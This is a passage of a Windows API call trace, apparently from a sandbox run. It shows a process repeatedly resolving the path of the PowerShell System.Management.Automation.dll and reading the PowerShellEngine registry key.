lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27e55c, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0097.608] GetLastError () returned 0xcb [0097.608] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27e50c, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0097.608] GetLastError () returned 0xcb [0097.608] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27e50c, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0097.608] GetLastError () returned 0xcb [0097.609] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\PowerShell\\1\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0x27ea6c | out: phkResult=0x27ea6c*=0x354) returned 0x0 [0097.609] RegQueryValueExW (in: hKey=0x354, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x27eab4, lpData=0x0, lpcbData=0x27eab0*=0x0 | out: lpType=0x27eab4*=0x1, lpData=0x0, lpcbData=0x27eab0*=0x56) returned 0x0 [0097.609] RegQueryValueExW (in: hKey=0x354, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x27eab4, lpData=0x6f7118, lpcbData=0x27eab0*=0x56 | out: lpType=0x27eab4*=0x1, lpData="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0", lpcbData=0x27eab0*=0x56) returned 0x0 [0097.610] RegCloseKey (hKey=0x354) returned 0x0 [0097.610] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27e55c, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0097.610] GetLastError () returned 0xcb [0097.610] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27e50c, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0097.610] GetLastError () returned 0xcb [0097.610] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27e50c, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0097.610] GetLastError () returned 0xcb [0097.610] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27e544, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0097.610] GetLastError () returned 0xcb [0097.610] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27e4f4, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0097.610] GetLastError () returned 0xcb [0097.611] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27e4f4, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0097.611] GetLastError () returned 0xcb [0097.627] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x6f7118, nSize=0x80 | out: lpBuffer="") returned 0x0 [0097.627] GetLastError () returned 0xcb [0097.627] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27dbd4, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0097.627] GetLastError () returned 0xcb [0097.627] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27db84, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0097.627] GetLastError () returned 0xcb [0097.627] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27db84, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0097.627] GetLastError () returned 0xcb [0097.628] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27dbd4, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0097.628] GetLastError () returned 0xcb [0097.628] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27db84, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0097.628] GetLastError () returned 0xcb [0097.628] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27db84, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0097.628] GetLastError () returned 0xcb [0097.628] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27dbd4, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0097.628] GetLastError () returned 0xcb [0097.628] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27db84, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0097.628] GetLastError () returned 0xcb [0097.628] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27db84, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0097.629] GetLastError () returned 0xcb [0097.629] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27dbd4, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0097.629] GetLastError () returned 0xcb [0097.629] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27db84, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0097.629] GetLastError () returned 0xcb [0097.629] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27db84, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0097.629] GetLastError () returned 0xcb [0097.629] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27dbd4, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0097.629] GetLastError () returned 0xcb [0097.629] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27db84, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0097.629] GetLastError () returned 0xcb [0097.629] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27db84, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0097.629] GetLastError () returned 0xcb [0097.629] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27dbd4, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0097.629] GetLastError () returned 0xcb [0097.629] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27db84, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0097.629] GetLastError () returned 0xcb [0097.629] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27db84, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0097.630] GetLastError () returned 0xcb [0097.630] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27dbd4, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0097.630] GetLastError () returned 0xcb [0097.630] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27db84, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0097.630] GetLastError () returned 0xcb [0097.630] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27db84, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0097.630] GetLastError () returned 0xcb [0097.630] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27dbd0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0097.630] GetLastError () returned 0xcb [0097.630] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27db80, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0097.630] GetLastError () returned 0xcb [0097.630] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27db80, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0097.630] GetLastError () returned 0xcb [0097.630] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27dbd0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0097.630] GetLastError () returned 0xcb [0097.630] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27db80, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0097.630] GetLastError () returned 0xcb [0097.630] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27db80, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0097.630] GetLastError () returned 0xcb [0097.631] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27dbd0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0097.631] GetLastError () returned 0xcb [0097.631] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27db80, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0097.631] GetLastError () returned 0xcb [0097.631] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27db80, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0097.631] GetLastError () returned 0xcb [0097.631] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27dbd0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0097.631] GetLastError () returned 0xcb [0097.631] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27db80, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0097.631] GetLastError () returned 0xcb [0097.631] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27db80, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0097.631] GetLastError () returned 0xcb [0097.631] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27dbd0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0097.631] GetLastError () returned 0xcb [0097.631] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27db80, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0097.631] GetLastError () returned 0xcb [0097.631] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27db80, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0097.631] GetLastError () returned 0xcb [0097.631] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27dbd0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0097.631] GetLastError () returned 0xcb [0097.632] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27db80, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0097.632] GetLastError () returned 0xcb [0097.632] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27db80, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0097.632] GetLastError () returned 0xcb [0097.632] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27dbd0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0097.632] GetLastError () returned 0xcb [0097.632] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27db80, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0097.632] GetLastError () returned 0xcb [0097.632] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27db80, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0097.632] GetLastError () returned 0xcb [0097.632] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27dbd0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0097.632] GetLastError () returned 0xcb [0097.632] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27db80, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0097.632] GetLastError () returned 0xcb [0097.632] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27db80, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0097.632] GetLastError () returned 0xcb [0097.632] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27dbd0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0097.632] GetLastError () returned 0xcb [0097.632] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27db80, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0097.632] GetLastError () returned 0xcb [0097.632] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27db80, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0097.632] GetLastError () returned 0xcb [0097.633] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27dbb4, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0097.633] GetLastError () returned 0xcb [0097.633] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27db64, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0097.633] GetLastError () returned 0xcb [0097.634] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27db64, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0097.634] GetLastError () returned 0xcb [0097.634] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27db64, lpFilePart=0x0 | out: 